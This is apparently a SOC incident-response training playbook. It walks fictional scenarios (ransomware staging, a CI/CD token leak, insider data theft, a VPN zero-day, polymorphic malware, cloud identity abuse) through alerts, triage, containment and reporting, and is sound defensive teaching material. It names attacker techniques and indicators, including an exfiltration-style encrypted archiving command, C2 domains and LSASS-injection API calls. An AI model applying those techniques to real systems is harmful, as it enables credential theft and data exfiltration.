### **Phase 3: Tier 3 (Threat Hunter)**

#### **Scope Check**

- No signs of encryption yet

- No EDR alerts of massive file writes
- Backup environment targeted but unsuccessful
- Attack limited to one endpoint and finance server so far
- No domain controller compromise detected

T3 categorises this as Stage 1/2 ransomware operation:  
Reconnaissance → Credential Theft → Staging → Pre-encryption.

Containment must be immediate.

#### **Phase 4: Incident Classification**

Classification:

Ransomware Pre-Encryption Incident

Severity: Critical

Expected Impact if not contained:

- Full finance share encryption
- Backup deletion
- Domain compromise
- Ransom demand
- Business disruption
- Data exfiltration

#### **Phase 5: Containment Actions**

##### **1. Immediate Isolation**

- WIN-ACCT-011 isolated via EDR
- FS-FIN-01 isolated from network
- Block backup.service account
- Disable SMB from compromised segment

##### **2. Kill and quarantine malicious processes**

- powershell.exe
- rundll32.exe injected thread
- syncsvc.exe (payload)

##### **3. Block indicators at firewall and DNS**

- global-sync-storage.net
- 99221a7c9987f02aa2cdd332af61c9b (hash)

#### **4. Remove scheduled tasks**

schtasks /delete /tn "SysUpdate" /f

#### **5. Snapshot servers for forensic analysis**

- WIN-ACCT-011
- FS-FIN-01

### **Phase 6: SOC Communication Workflow**

#### **SOC to Server Team**

Urgent: Isolate FS-FIN-01 immediately.

Finance share shows high-volume rename activity linked to ransomware staging.  
Please confirm server isolation status ASAP.

#### **SOC to Identity & Access**

Disable account: backup.service

Credentials compromised and used during lateral movement attempts.

#### **SOC to Network Security**

Block SMB traffic from 10.10.30.0/24 to all servers.

Block domain indicators and malicious IPs.

#### **SOC to Management (CISO)**

Incident Notification: Ransomware Pre-Encryption Attack

Summary:

- Credential theft attempt via encoded PowerShell
- LSASS access blocked
- Lateral SMB movement observed
- Ransomware payload staged on finance server
- Shadow copy deletion attempted
- No encryption has started yet

Environment isolated and contained.  
Full forensic review required.

Status: Contained, pre-encryption stage.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Initial compromise of WIN-ACCT-011 through malicious document downloaded externally. PowerShell used to load credential dumping tools → attacker escalated and attempted lateral movement into finance and backup servers.

### **What Attacker Achieved**

- Credential harvesting
- Uploaded ransomware staging file
- Tested rename operations
- Attempted shadow copy deletion
- Attempted lateral movement to backup and finance servers

### **What Attacker Failed To Achieve**

- Did not bypass EDR LSASS protection
- Could not deploy scheduled ransomware task
- Encryption did not start
- Backups intact
- Domain controller not compromised

### **What Stopped the Attack**

- Behavioural EDR detection
- File rename anomaly detection
- Strong EDR tamper protection
- SMB scanning correlation rules
- SOC immediate response

## **SCENARIO 6: CI/CD PIPELINE CREDENTIAL LEAK LEADING TO MULTI-CLOUD TAKEOVER ATTEMPT**

At 04:12 AM, SOC receives an alert from GitHub Security: "Detected Access Token Exposed in Public Repository (Critical Severity)"

The leaked token belongs to svc-ci-deploy, a CI/CD automation account with:

- Write access to multiple repos
- Ability to push container images
- AWS AccessKey used for deployments
- Azure DevOps pipeline triggering permissions

### **Alerts**

#### **Alert 1 – GitHub Token Leak**

Alert ID: GH-TOKEN-99210

Event: Access Token Exposed in Public Repository

Repository: marketing-website

Actor: svc-ci-deploy

Token Type: PAT (Personal Access Token)

Scopes:

- repo:write
- admin:org
- workflow:write

First Exposure: 04:12:33 AM

#### **Alert 2 – Container Registry Anomaly**

Registry: registry.internal.company.com

Image: financial-api:latest

Pushed By: svc-ci-deploy

Digest: 7fae1d9922aa...

Base Image: Unknown

Risk Flag: Embedded reverse shell (heuristic)

Time: 04:13:45 AM

#### **Alert 3 – AWS CloudTrail Privilege Escalation Attempt**

User: svc-ci-deploy

Action: iam:AttachUserPolicy

Policy: AdministratorAccess

Source IP: 185.77.81.99 (Germany)

Decision: Denied (permission boundary)  
Time: 04:14:12 AM

#### **Alert 4 – Azure AD Unexpected Service Principal Creation**

App Name: global-ci-agent  
Creator: svc-ci-deploy  
Permissions Granted:  
- Directory.ReadWrite.All  
- AppRoleAssignment.ReadWrite.All  
Time: 04:14:51 AM

#### **Alert 5 – Terraform Execution Outside Trusted Network**

Execution Trigger: terraform apply  
Source IP: 102.166.12.89 (South Africa)  
Project: production-infra  
Result: Partial execution - failed  
Time: 04:15:44 AM

#### **Alert 6 – Kubernetes Audit Logs**

Namespace: prod-app  
Action: CreateServiceAccount  
Account: svc-ci-deploy  
ServiceAccount: sync-agent  
ClusterRoleBinding:  
- cluster-admin  
Time: 04:16:22 AM

#### **Alert 7 – Outbound Traffic Related to Exfiltration**

Destination: https://cloud-sync-data.net/upload  
Bytes Sent: 41.2MB  
Source Host: dev-runner-02  
Time: 04:17:11 AM

### **3. SOC Workflow: Full Cross-Team Coordination**

#### **Phase 1: Tier 1 (T1) Initial Triage**

##### **Step 1 – Validate Alerts**

The patterns indicate:

- Token leak
- Cloud privilege escalation attempts
- CI/CD system abuse
- Multi-cloud access from foreign IPs
- Container tampering
- Kubernetes cluster admin takeover attempt

## **Step 2 – Severity Determination**

This is one of the highest-risk incidents possible.

T1 escalates immediately.

### **T1 Escalation to Tier 2**

Subject: CRITICAL – CI/CD Credential Leak Leading to Multi-Cloud Abuse

Hi T2,

Detected leaked PAT for svc-ci-deploy in public repository.

Multiple correlated events across CI/CD, AWS, Azure, and Kubernetes indicate attempted cloud takeover.

Events include:

- Malicious container push
- Terraform execution from non-corporate IP
- AWS IAM privilege escalation attempt
- Azure AD rogue service principal creation
- New Kubernetes service account with cluster-admin role
- Exfiltration outbound to unknown cloud domain

Immediate deep dive required.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline Reconstruction**

04:12:33 – PAT exposed publicly

04:13:45 – Attacker pushes malicious container image

04:14:12 – Attempt to escalate permissions in AWS

04:14:51 – Rogue Azure service principal created

04:15:44 – Terraform executed externally

04:16:22 – Kubernetes cluster-admin account created

04:17:11 – Exfiltration detected from CI runner

Clear multi-cloud coordinated attack.

## **2. Deep Log Analysis**

### **GitHub Logs**

actor: svc-ci-deploy  
action: git push  
repo: financial-api  
content: modified Dockerfile (added reverse shell)

### **AWS CloudTrail Logs**

UserAgent: aws-sdk-go/1.42  
Action: iam:AttachUserPolicy  
Error: Action denied by permissions boundary

### **Azure Audit Logs**

AppRoleAssignment Add:  
App: global-ci-agent  
Role: AppRoleAssignment.ReadWrite.All  
Initiator: svc-ci-deploy

### **Kubernetes Logs**

create serviceaccount sync-agent  
rolebinding: cluster-admin

This would give the attacker full cluster access.

## **3. Risk Analysis**

The attacker is attempting:

- Build pipeline compromise
- Container supply-chain injection
- Privilege escalation in AWS
- Identity takeover in Azure
- Full Kubernetes ownership
- Data exfiltration
- Persistence via new service principals and service accounts

This is equivalent to a multi-cloud breach attempt.



## 4. Determination

Tier 2 determines:

Confirmed multi-cloud attack due to CI/CD token leakage.

Immediate IR activation required.

### Phase 3: Tier 3 (Threat Hunting)

#### Scope of attack

Findings:

- Only svc-ci-deploy PAT was leaked
- No evidence of code execution inside production workloads yet
- Malicious container not deployed to production
- Attacker failed AWS privilege escalation
- Terraform execution partially succeeded but no resources created
- Kubernetes control plane was targeted but stopped by policy validation

Conclusion: The attack is active, sophisticated, and must be contained now.

### Phase 4: Incident Classification

Classification: Multi-Cloud Breach Attempt via CI/CD Credential Leak

Severity: Critical

Impact If Successful:

- Full cloud compromise
- Supply chain poisoning
- All customer data exposed
- Total service outage
- Regulatory reporting required

### Phase 5: Containment Actions

#### 1. Revoke all leaked tokens

```
gh api --method DELETE /applications/grants/<PAT_ID>
```

#### 2. Disable svc-ci-deploy account

Suspend account in GitHub

Disable IAM entity in AWS

Disable Service Principal in Azure

### **3. Quarantine CI/CD runners**

Isolate dev-runner-01 and dev-runner-02.

### **4. Block external access to registries**

- registry.internal.company.com
- Azure Container Registry
- ECR (AWS)

### **5. Kill malicious container image**

docker rmi financial-api:latest

### **6. Remove Azure rogue service principal**

Remove-AzureADServicePrincipal -ObjectId <AppID>

### **7. Remove cluster-admin binding**

kubectl delete clusterrolebinding sync-agent-admin  
kubectl delete sa sync-agent

### **8. Notify Legal & Compliance**

Potential exfiltration occurred.

## **Phase 6: SOC Communication Workflow**

### **SOC to DevOps**

PAT for svc-ci-deploy leaked publicly.  
We have revoked the token and disabled the account.

Please rotate all CI/CD secrets and review pipelines.

### **SOC to Cloud Security**

Multiple cloud service principals, keys, and IAM actions attempted.

Ensure no persistence mechanisms remain.

### **SOC to Network Team**

Block outbound traffic to cloud-sync-data.net immediately.

## **SOC to CISO**

Incident Notification: CI/CD Credential Leak Leading to Multi-Cloud Attack Attempt

Summary:

- Token leaked in public repo
- Malicious container pushed
- AWS and Azure privilege escalation attempted
- Kubernetes admin role creation attempted
- Data exfiltration detected

Containment actions executed.

Investigation ongoing.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Developer accidentally committed CI/CD PAT in a Git repository.  
Attacker scanned GitHub for leaked tokens and abused it instantly.

### **What Attacker Achieved**

- Pushed compromised container images
- Attempted AWS admin escalation
- Created rogue Azure app
- Created Kubernetes admin service account
- Exfiltrated data from CI runner

### **What Prevented Full Compromise**

- AWS permission boundaries
- Azure conditional access policy
- Kubernetes admission controller
- SOC detection of GitHub leak
- Rapid cross-team containment

## **SCENARIO 7: INSIDER THREAT – DATA EXFILTRATION VIA USB + ENCRYPTED CLOUD SYNC**

A disgruntled Finance employee attempts to resign. Before resignation, they try to steal:

- Confidential finance reports
- Executive payroll
- Vendor contracts
- Audit documents

They use two methods:

1. Copy data to USB drive
2. Use personal cloud storage (Mega.nz) with encrypted sync folder

The employee attempts to hide their actions:

- Renames sensitive files to benign names
- Compresses them with AES encryption
- Uses PowerShell to change file extensions
- Obfuscates commands
- Works late at night

### **Alerts**

#### **Alert 1 – USB Mass Copy Detection (DLP)**

Alert ID: DLP-USB-4401  
User: tan.finance  
Host: WIN-FIN-002  
Event: High-volume file copy to removable media  
Device: KingstonDataTraveler-32GB  
Files Copied: 188 files (~3.4 GB)  
Location: \\fs-fin-01\confidential\Audit2025  
Time: 22:11:44  
Severity: High

#### **Alert 2 – CASB Suspicious Cloud Upload**

Alert ID: CASB-UPLD-9922  
User: tan.finance  
Destination: <https://mega.nz/upload>  
Data Volume: 1.2GB in 5 minutes  
File Type: Encrypted ZIP (AES256)

Time: 22:17:20

Risk: Very High

### **Alert 3 – Proxy Alert: High-Risk Cloud Storage**

URL: <https://mega.nz>

Category: Cloud Storage / Personal Backup

Policy: Block for Finance Department

Status: Blocked at 15MB point

(Most upload blocked, but some data still pushed before block.)

### **Alert 4 – EDR Detects Suspicious PowerShell**

Process: powershell.exe

Command: powershell -enc SQBFaFgAIAAoACc...

Decoded:

Compress-Archive -Path "C:\Users\tan\Documents\AuditData" -DestinationPath  
"C:\temp\picture.jpg" -CompressionLevel Optimal

Using password: Qwerty@123

### **Alert 5 – File Server Access Spike**

Server: FS-FIN-01

Folder: /confidential/ExecutivePayroll

Event: Massive Read Operations (>500 reads in 4 min)

User: tan.finance

Time: 22:05:33 – 22:09:48

### **Alert 6 – Email Gateway Alert**

Outbound Email Attempt Blocked

To: personalmail@outlook.com

Attachment: picture.jpg (encrypted ZIP 760MB)

Reason: Encryption + High Volume File

## **3. SOC Workflow – Full End-to-End Breakdown**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **Step 1 – Validate Alerts**

T1 checks:

- DLP: USB copy
- CASB: Mega.nz upload
- Proxy: cloud storage block
- File server spike
- EDR: PowerShell encryption
- Email send blocked

Pattern strongly suggests intentional data exfiltration.

## **Step 2 – Check User Profile**

- User: Finance Senior Executive
- Has access to sensitive files
- Previously submitted resignation notice
- Work hours usually 8 AM – 5 PM
- Activity at 10 PM highly suspicious

## **Step 3 – Severity Determination**

Confirmed insider threat indicators.

T1 escalates to T2.

## **T1 Escalation to Tier 2**

Subject: Insider Threat – Possible Data Exfiltration (URGENT)

Hi T2,

Multiple alarms triggered for user tan.finance:

1. 3.4GB copied to USB
2. Encrypted ZIP created via PowerShell
3. Partial cloud upload to Mega.nz
4. Attempt to email encrypted ZIP externally
5. Massive read of confidential payroll data

This appears to be a coordinated insider exfiltration attempt.

Request immediate deep investigation.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline Reconstruction**

21:58 – User logs in from home-office VPN  
22:03 – Access to confidential finance shares  
22:05 – Massive read activity on ExecutivePayroll  
22:11 – USB mass copy detected  
22:14 – PowerShell compresses & encrypts files  
22:17 – Mega.nz upload begins (1.2GB uploaded before block)  
22:19 – Outbound email with encrypted ZIP to personal address blocked  
22:21 – User logs off

## **2. Deep Log Analysis**

### **File Renaming**

budget2025\_final.xlsx → pic1.jpg  
salaries\_all.xlsx → pic2.jpg  
audit2024.docx → picture.jpg

### **USB Write Log**

D:\Documents\pic1.jpg  
D:\Documents\pic2.jpg  
D:\Documents\picture.jpg  
File Count: 188

### **PowerShell (Decoded)**

Compress-Archive -Path ... -DestinationPath picture.jpg  
AES256 encryption

### **CASB**

Upload Session ID: 887261-A322  
UserAgent: MegaSync/4.0

## **3. Behaviour Analysis**

Tier 2 confirms:

- User intentionally encrypted and renamed sensitive files
- Uploaded to personal cloud
- Attempted USB copy
- Attempted email exfil
- Worked off-hours
- Pattern matches malicious insider threat profile

Tier 2 escalates to IR with evidence.

### **Phase 3: Tier 3 (Threat Hunting)**

#### **Scope Check**

- No malware involved
- No external attacker
- No compromised account
- This is **intentional insider behaviour**
- No other employees involved

T3 confirms the attack was single-actor, using legitimate access.

### **Phase 4: Incident Classification**

Classification: Malicious Insider Threat – Data Exfiltration Using USB + Cloud Sync + Encrypted ZIP

**Severity:** Critical

Reason:

- Executed intentionally
- Involved executive payroll
- Large data volume
- Tried multiple exfil methods
- Encrypted content
- Attempted email bypass

### **Phase 5: Containment Actions**

#### **1. Suspend user account immediately**

Disable-ADAccount -Identity tan.finance

#### **2. Forensically image the laptop**

- Full disk acquisition
- USB forensic extraction
- PowerShell history capture

#### **3. Block all cloud upload categories for user (CASB)**

#### **4. Seize USB device physically (HR + Security)**



## **5. Block VPN login for user**

## **6. Preserve logs for legal action**

- USB copy logs
- File access logs
- CASB logs
- Email gateway logs
- Proxy logs

## **Phase 6: SOC Communications Workflow**

### **SOC to HR**

Employee tan.finance attempted data exfiltration using USB and cloud storage.

Please coordinate with Security to detain user temporarily and retrieve all devices.

### **SOC to Network Security**

Block all access to Mega.nz and similar cloud storage for the entire Finance department.

Ensure outbound to personal cloud storage is audited.

### **SOC to IT Security Lead**

Critical insider threat confirmed.

Actions:

- USB exfiltration of confidential payroll
- Encrypted ZIP created via PowerShell
- Partial exfiltration via Mega.nz
- Attempted exfiltration over email

User suspended. Forensic image in progress.

### **SOC to CISO**

Incident Notification: Malicious Insider Threat – Data Exfiltration

Summary:

- High-value financial and payroll documents targeted
- Multi-method exfiltration attempted (USB, cloud sync, email)
- 1.2GB successfully uploaded before block

- USB contained 3.4GB of sensitive data
- Forensics and HR coordination ongoing

Impact: Significant

Regulatory reporting likely required.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Employee abused legitimate access to confidential financial data during resignation period.

### **What the Insider Achieved**

- Accessed >500 confidential payroll + audit files
- Copied 188 files to USB
- Uploaded 1.2GB to Mega.nz
- Created encrypted ZIP using AES-256
- Attempted to email files externally

### **What the Insider Failed to Achieve**

- Could not bypass email DLP
- Cloud uploads partially blocked
- Did not evade CASB detection
- SOC responded in time to preserve logs and evidence

## **SCENARIO 8: VPN ZERO-DAY EXPLOITATION LEADING TO INTERNAL NETWORK COMPROMISE & PRIVILEGE ESCALATION ATTEMPT**

### **“Suspected Exploitation Activity Detected on VPN Gateway”**

The alert originates from:

- IDS detection of suspicious /api/v1/tunnel exploit request
- A VPN session established without MFA
- Session ID linked to a local service account
- Network scans inside corporate subnets
- Attempted credential harvesting on DC
- Command-and-control beacon via HTTPS disguised as legitimate traffic

### **Alerts**

#### **Alert 1 – IDS/IPS Suspected VPN Exploit**

Alert ID: IDS-VPN-EXP-9912

Device: Firewall/IPS

Signature: Exploit Attempt - VPN Zero-Day (Telemetry Based)

Request:

POST /api/v1/tunnel HTTP/1.1

Payload: 4.7KB (obfuscated)

Source IP: 45.129.228.33 (Russia)

Time: 03:41:22 AM

Action: Allowed (no signature match, anomaly-based only)

#### **Alert 2 – VPN Session Created Without MFA**

Session ID: 8841ab22-cdf0-411a-bfa2-12f820a991

User: svc-vpn-maint

Auth Method: API Auth Bypass

Source IP: 45.129.228.33

Start Time: 03:41:33 AM

(Not normal svc-vpn-maint is an internal maintenance service account.)

#### **Alert 3 – Internal Network Scanning Detected**

Host: 10.10.10.21 (VPN Appliance internal interface)

Activity:

- TCP SYN scan to 10.10.0.0/18

- Ports: 445, 3389, 389, 53, 80

Total Probes: 1,122  
Time: 03:42 – 03:43 AM

#### **Alert 4 – EDR Detects Suspicious LSASS Access**

Host: WIN-ACCT-APP01  
Process: rundll32.exe  
Action: Attempted LSASS memory read  
Source: Remote session initiated from 10.10.10.21 (VPN appliance)  
Time: 03:44:55 AM  
Result: Blocked

#### **Alert 5 – Active Directory Authentication Failure Storm**

Event ID 4625 – Failed Login Attempts  
Account: admin\_itops  
Source IP: 10.10.10.21  
Attempts: 78 in 1 minute  
Time: 03:45 AM

Possible brute force using credentials harvested from older config backups.

#### **Alert 6 – C2 Beacon Attempt**

Outbound traffic from 10.10.10.21 → 185.93.71.202  
Pattern: HTTPS beacon every 30 seconds  
Domain: microsoft-updates-check.com  
Reputation: Malware/C2

### **3. SOC Workflow – How SOC Responds**

#### **Phase 1: Tier 1 (T1) Initial Triage**

##### **Step 1 – Validate Alerts**

T1 identifies a critical pattern:

- VPN exploit attempt
- MFA bypass
- Stolen or misused internal service account
- Network scanning
- Credential theft attempt
- External C2 beacon

## **Step 2 – Assess Risk**

Extremely high attacker is inside the internal network with perimeter bypassed.

## **Step 3 – Immediate Escalation**

T1 escalates to T2 without delay.

### **T1 Escalation Note to Tier 2**

Subject: CRITICAL – Confirmed VPN Zero-Day Exploit + Internal Movement

Hi T2,

Detected zero-day style exploit on VPN appliance.

Key events:

- POST exploit on /api/v1/tunnel
- MFA bypass, login using svc-vpn-maint
- Internal network scans launched from VPN interface
- Attempted LSASS dump on WIN-ACCT-APP01
- C2 beacon attempts observed
- AD brute force attempts from VPN device

This is a live perimeter breach. Immediate investigation required.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

03:41:22 – Exploit request to VPN endpoint  
03:41:33 – MFA bypass, session created  
03:42:10 – Internal subnet scanning begins  
03:44:55 – LSASS access attempt on internal server  
03:45:00 – AD brute force storm  
03:45:30 – C2 beacon initiated

### **2. VPN Logs Analysis**

Session established with zero MFA interaction.  
Token injection observed.  
Login method: Unknown API call  
User-agent anomaly: Python-Requests/2.31

### **3. Identify Service Account Abused**

Svc-vpn-maint = Legacy account created for firmware updates (high-risk misconfiguration).

Account privileges:

- Access to VPN admin UI
- Read access to internal routing tables
- Access to certain maintenance scripts
- Not MFA-enforced

This is a perfect lateral movement target.

### **4. Network Scan Logs**

Nmap-like SYN flood detected

Pattern: Host discovery + port sweep

Tools: zmap/nmap signature overlap

### **5. Credential Access Attempts (EDR)**

rundll32 → LSASS → blocked

Attacker likely testing for Credential Guard bypass.

### **6. C2 Traffic**

Domain: microsoft-updates-check.com

Observed pattern: 30-second heartbeat

Likely RAT beacon

### **7. Threat Intelligence Match**

TI confirms the IP and domain belong to a threat actor cluster known for VPN zero-day exploitation campaigns.

Tier 2 concludes:

Confirmed external attacker inside corporate network via VPN exploit.

### **Phase 3: Tier 3 (Threat Hunter)**

T3 performs environment-wide sweep:

- No other VPN users compromised
- All activity originates from the VPN appliance internal interface
- No domain controller compromise yet
- No successful credential dumping
- No ransomware deployment detected

However, attacker is moving extremely fast.

T3 recommends full VPN shutdown and incident containment immediately.

#### **Phase 4: Incident Classification**

Classification: Perimeter Compromise via VPN Zero-Day Exploit

Severity: Critical (Extremely high impact)

This is the highest severity class of incident: direct internal network compromise via zero-day.

If not contained, attacker could:

- Gain domain admin
- Deploy ransomware
- Exfiltrate data
- Install long-term backdoors
- Destroy backups

#### **Phase 5: Containment Actions**

##### **1. Immediate Full VPN Shutdown**

VPN appliance pulled from network and placed in isolation VLAN.

##### **2. Disable svc-vpn-maint account**

Disable-ADAccount svc-vpn-maint

##### **3. Block C2 domain and IP**

- microsoft-updates-check.com
- 185.93.71.202

##### **4. Firewall rules enforced**

Block all outbound connections from 10.10.10.21 (VPN internal interface).

## **5. Force password reset for high-risk accounts**

- admin\_itops
- all privileged IT ops accounts

## **6. Begin forensic acquisition**

Full image of VPN appliance for zero-day artifact extraction.

### **Phase 6: SOC Communication Workflow**

#### **SOC to Network Security**

Shutdown VPN immediately.  
Isolate appliance to quarantine VLAN.  
Block corresponding C2 IPs.

#### **SOC to IAM**

Disable svc-vpn-maint account.  
Force reset privileged accounts.

#### **SOC to Server Team**

Monitor DC for new brute force or suspicious logons.  
Block remote RPC from VPN subnets.

#### **SOC to IR Team**

Full IR activation required.

Confirmed perimeter breach via suspected zero-day.  
VPN exploited and internal access gained.

#### **SOC to CISO**

Incident Notification: VPN Zero-Day Exploitation

Summary:

- Zero-day exploit used on VPN
- MFA bypass achieved
- Service account hijacked
- Internal network scanned
- Credential theft attempt



- C2 beacon detected

Status: Containment active, VPN offline, IR engaged.

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Zero-day exploitation of VPN appliance allowed attacker to bypass MFA using API token injection.

Weak internal service account (svc-vpn-maint) enabled lateral movement attempts.

### **What Attacker Achieved**

- VPN access without authentication
- Subnet scanning
- Attempted LSASS dump
- Brute force attempt toward Domain Admin
- C2 beacon established

### **What Attacker Failed To Achieve**

- Did not obtain domain admin credentials
- Could not execute ransomware or malware internally
- Could not access or modify backups
- No successful lateral compromise of servers

## **SCENARIO 9: AI-POWERED POLYMORPHIC MALWARE ATTACK WITH AUTONOMOUS MUTATION & EDR EVASION**

A senior engineer receives a seemingly harmless email with a password-protected ZIP attachment (common bypass for secure email gateways).

Inside the ZIP is a file named:

invoice\_2025.scr

Once executed, the malware:

- Mutates itself on every execution
- Uses AI-generated code obfuscation
- Randomises APIs and function names
- Avoids sandbox by detecting virtual hardware
- Delays execution using ML-based behavioural prediction
- Disables Windows Defender using undocumented syscalls
- Establishes C2 connection using DNS covert channels
- Attempts credential harvesting via LSASS thread injection
- Uses autonomous decision-making for persistence
- Self-rewrites into new variant every 30 minutes

### **Alerts**

#### **Alert 1 – Email Gateway Bypass**

Alert ID: MAIL-BYPASS-8831

Subject: "Invoice Attached - Payment Due"

Attachment: invoice2025.zip (password-protected)

Status: Delivered (password-protected ZIP cannot be scanned)

Time: 09:11 AM

#### **Alert 2 – EDR Suspicious Process Execution**

Alert ID: EDR-POLY-2122

Host: WIN-ENG-14

User: kamarul.engineering

File Executed: invoice\_2025.scr

Hash: Unknown (no VT match)

Entropy: High (8.1/10)

Signature: Self-modifying code detected

Time: 09:13 AM

#### **Alert 3 – EDR Alert: Code Mutation Engine Detected**

Process: invoice\_2025.scr

Observation: Binary size changed from 522KB to 546KB after execution

Technique: In-memory recompilation

Event: Polymorphic mutation

Time: 09:13:44 AM

#### **Alert 4 – Suspicious DNS Queries (Possible C2)**

Host: WIN-ENG-14

Domains Queried:

- aez11df93.random-update-node.net
- zs1x0kdsa1.random-update-node.net

Query Volume: 312 DNS queries in 60 seconds

Type: TXT

Suspicion: DNS Tunneling

#### **Alert 5 – LSASS Access Attempt (New Variant)**

Process: invoice\_2025.scr

Technique: Thread injection into LSASS

Tactic: Credential Access

Result: Blocked by EDR

Variant ID: v4.1-auto\_x\_mut

Time: 09:14:50 AM

#### **Alert 6 – Sandbox Bypass**

Analysis:

File refused to execute inside sandbox VM

Indicators:

- VM MAC address detected
- Mouse movement simulation detected
- No GPU acceleration

Conclusion:

Malware intentionally avoided sandbox environment

#### **Alert 7 – Persistence Creation Attempt**

Scheduled Task:

Name: "SystemTelemetryUpdater"

Payload: C:\Users\Public\sysdata\_x11.exe

Time: 09:15:11 AM

Result: Blocked

## **Alert 8 – Malware Regenerated to New Variant**

Variant Hash Before: 8ac2d9938a0...

Variant Hash After: 77bd129c99d...

Change Count: 22 function names regenerated

Time: 09:15:32 AM

## **SOC Workflow – End-to-End**

### **Phase 1: Tier 1 (T1) Initial Triage**

#### **Step 1 – Validate Alerts**

T1 matches the pattern:

- Polymorphic behaviour
- DNS tunnelling
- LSASS thread injection
- Self-modifying binary
- Password-protected ZIP
- Rapid variant changes

This is a high-severity malware infection.

#### **Step 2 – Immediate Containment Recommendation**

Isolate host.

#### **Step 3 – Escalate to Tier 2**

Due to mutation, high entropy, and AI-driven evasion.

#### **T1 Escalation Note to T2**

Subject: High-Severity – AI-Powered Polymorphic Malware Infection

Hi T2,

A polymorphic malware variant executed on WIN-ENG-14.

Key observations:

- Delivered via password-protected ZIP
- Self-modifying binary on execution

- DNS TXT-based tunneling detected
- LSASS thread injection attempt
- Avoided sandbox environment
- Regenerated into new variant within minutes

Host requires immediate isolation. Please investigate.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

09:11 – Email delivered  
09:13 – Malware executed  
09:13:44 – Code mutation  
09:14 – DNS tunneling begins  
09:14:50 – LSASS injection attempt  
09:15 – Persistence attempt  
09:15:32 – New variant generated

### **2. In-Depth Malware Behaviour**

#### **Binary Mutation**

Malware rewrites its:

- PE header
- Function names
- Stub loaders
- Encryption keys

Each variant is unique.

#### **ML-Based Detection Avoidance**

Malware monitors:

- CPU usage
- GPU acceleration
- Mouse movement
- System uptime
- DLL list of EDR tools

Then delays or alters execution patterns based on risk.

## **LSASS Access Attempt**

The malware attempted:

NtOpenProcess  
NtReadVirtualMemory  
CreateRemoteThread

Pattern matches credential-harvesting trojans.

## **3. DNS Tunneling**

TXT Query Payload (Base64):  
YXNkZmFza2RqZmhramxzamR...

Decoded content shows:

- Exfiltrated system info
- Username
- Machine SID
- Running processes
- Partial credential dump metadata

## **4. Sandbox Evasion Log**

Malware fingerprinted environment:

- Checked VM MAC (00:0C:29 VMware prefix)
- Checked registry keys
- Looked for known sandbox DLLs
- Detected no GPU acceleration
- Detected synthetic mouse movement

Malware suspended execution for 20 minutes to avoid detection.

## **5. Variant Regeneration**

Malware regenerates:

- Encryption keys
- C2 domain patterns
- Obfuscation layers
- Hardcoded strings
- API call structure

This explains why hashes are unique and VT has no detection.

## **6. Determination**

Tier 2 confirms: **This is an AI-driven, autonomous polymorphic malware infection with credential harvesting intent.**

Activation of Incident Response is required.

### **Phase 3: Tier 3 (Threat Hunting)**

Tier 3 checks environment-wide for:

- Other “random-update-node.net” DNS traffic
- Similar polymorphic behaviour
- PXE boot logs for supply chain threats
- Other password-protected attachments
- Additional infected endpoints

Findings:

- No other devices show infection.
- Only engineer’s laptop affected.

### **Phase 4: Incident Classification**

Classification: AI-Powered Polymorphic Malware Infection With EDR Evasion & DNS Tunneling

Severity: Critical

### **Phase 5: Containment Actions**

#### **1. EDR Host Isolation**

isolate WIN-ENG-14

#### **2. Kill Malware Process**

All variants terminated.

#### **3. Remove Persistence Entries**

Remove scheduled tasks, registry autoruns.

#### **4. Block C2 Domains**

random-update-node.net  
all subdomains

## **5. Sinkhole DNS tunneling**

Redirect to internal sinkhole for analysis.

## **6. Full Forensic Collection**

- Memory dump
- LSASS dump (for analysis)
- Prefetch
- USN journal
- Malware variants archive
- Network captures
- DNS logs

## **7. Wipe and reimage workstation**

No guaranteed safe remediation due to polymorphism.

## **Phase 6: SOC Communication Workflow**

### **SOC to EDR Team**

Host WIN-ENG-14 isolated due to polymorphic malware.

Proceed with forced isolation and memory acquisition.

### **SOC to Network Team**

Block all \*.random-update-node.net domains.

Enable deep packet inspection for outbound DNS TXT queries.

### **SOC to IR Team**

Activate IR.

AI-powered malware infection detected.

Malware mutated itself multiple times within minutes.

DNS tunneling confirmed.

### **SOC to CISO**



## Incident Notification: AI-Powered Polymorphic Malware

### Summary:

- Delivered via password-protected ZIP
- Mutated instantly on execution
- EDR evasion successful
- DNS tunneling for C2 communication
- Credential harvesting attempt blocked
- Multiple variants created automatically

Impact: Contained to a single endpoint.

## Phase 7: Final Incident Report Summary

### Root Cause

User executed malicious SCR file from password-protected ZIP.  
Malware included autonomous AI-driven mutation engine.

### What the Malware Achieved

- Executed and mutated multiple times
- Established DNS covert channel
- Exfiltrated device metadata
- Attempted LSASS injection
- Passed sandbox tests
- Used ML behaviour tuning to avoid detection
- Generated unique variants every 30 minutes

### What the Malware Failed To Achieve

- Did not gain credentials
- Did not achieve persistence
- Did not infect other devices
- C2 shut down before full exfiltration
- EDR blocked thread injection

## **SCENARIO 10: CLOUD CREDENTIAL POISONING VIA MACHINE IDENTITY ATTACK (AZURE & AWS MULTI-CLOUD)**

An attacker gains access to a public-facing API through a vulnerable microservice. The service accidentally exposes a Managed Identity token meant for internal use only.

Using this cloud machine identity, the attacker:

1. Requests short-lived Azure access tokens
2. Enumerates cloud resources
3. Creates a rogue service principal
4. Assigns high-risk roles to it
5. Leverages AWS AssumeRole via trust policy misconfiguration
6. Uses the machine identity to move between clouds
7. Plants persistence through automation pipelines
8. Targets sensitive storage accounts for exfiltration

### **Alerts**

#### **Alert 1 – Azure Managed Identity Misuse**

Alert ID: AAD-MI-88221  
Identity: Managed Identity: webapp-prod-msi  
Event: Token Issued from Unusual IP  
Source IP: 185.37.188.11  
Expected IP Range: Azure Internal (not external)  
Time: 01:14:41 AM

#### **Alert 2 – Cloud Enumeration Spike**

Activity: List Keys, List Accounts, List Blob Containers  
Identity Used: webapp-prod-msi  
Target: prodstorage01, auditstorage02  
Event Count: 1,102 API calls in 3 minutes

#### **Alert 3 – Rogue Service Principal Created**

App Name: global-sync-agent  
Created By: webapp-prod-msi  
Permissions:

- Directory.ReadWrite.All
- StorageAccountContributor
- Automation.RunbookOperator

Time: 01:15:21 AM

